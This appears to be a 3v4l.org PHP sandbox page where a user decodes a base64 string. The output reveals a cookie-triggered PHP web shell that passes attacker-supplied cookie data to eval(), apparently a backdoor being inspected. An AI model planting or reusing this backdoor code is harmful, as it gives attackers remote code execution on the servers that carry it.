3v4l.org

run code in 300+ PHP versions simultaneously
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var); $var = base64_encode('test'); echo $var; echo base64_decode($var);
Output for git.master, git.master_jit, rfc.property-hooks
$c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';dGVzdA==test

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
44.74 ms | 401 KiB | 8 Q